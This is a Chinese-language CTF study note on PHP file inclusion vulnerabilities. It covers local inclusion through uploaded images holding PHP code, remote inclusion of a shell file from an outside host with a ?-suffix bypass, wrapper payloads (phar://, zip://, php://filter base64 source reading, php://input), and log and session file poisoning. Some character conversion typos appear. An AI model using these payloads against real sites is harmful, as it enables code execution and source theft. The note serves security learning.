CTF 文件包含

1、基本概念

  • 文件包含
    將相同函數寫入單獨的文件中,須要使用時直接調用
  • 文件包含漏洞
    將被包含的文件設置爲變量,致使客戶端能夠惡意調用一個惡意文件
  • 相關函數
    • include()
    • include_once()
    • require()
    • require_once()
      include()若沒有找到文件,只報warning;require()報錯中止
      once說明值包含一次
      包含可執行文件時會直接執行

2、本地文件包含

  • 包含的實現
    包含的時候,不必定要包含.php文件,只要包含一塊完整的php代碼,例如a.jpg,內容爲<?php phpinfo();?>
  • 具體場景
    因爲被包含的文件類型多種多樣,所以在實現的時候,重點在於找到可控文件
    • 好比說可以上傳圖片,就去穿一個帶完整php代碼的圖片文件,或者是將代碼文件改後綴
    • 壓縮包使用僞協議

3、遠程文件包含

  • 遠程包含的條件
    • allow_url_fopen
    • allow_url_include
  • [http|https|ftp]://www.bbb.com/shell.txt
    若後綴名寫死,可使用?繞過
    例如www.bbb.com/shell.txt?a.phpweb

  • 僞協議shell

    • php歸檔
      • phar://archive.zip/file.txt
      • zip://archive.zip#dir/file.txt(#有時須要替換爲%23)
    • 利用php流
      • php://filter是一種元封裝器,用於數據流打開篩選過濾的應用。對於一體式的文件函數很是有用,相似readfile()、file()和file_get_contents()
        ?file=php://filter/convert.base64-encode/resource=index.php
      • php://input
        利用條件:
        • 一、allow_url_include=On
        • 二、對allow_url_fopen不作要求
        • php://input能夠讀取沒有處理過的POST數據

4、具體場景

  • 日誌文件
    web服務器會將請求寫入到日誌文件中,好比說apache。當用戶發起請求時,會將請求寫入access.log,當發生錯誤時將錯誤寫入error.log。默認狀況下,日誌保存路徑在/var/log/apahce2/apache

  • 系統環境
    https://www.youtube.com/watch?v=dlh0ogYy9ys服務器

  • session
    • php默認生成的Session文件每每存在/tmp目錄下
    • session.upload_progress.enabled這個參數在php.ini默認開啓,若是不是Off,就會在上傳過程當中生成上傳進度文件,它的儲存文件路徑能夠在phpinfo獲取到
相關文章
相關標籤/搜索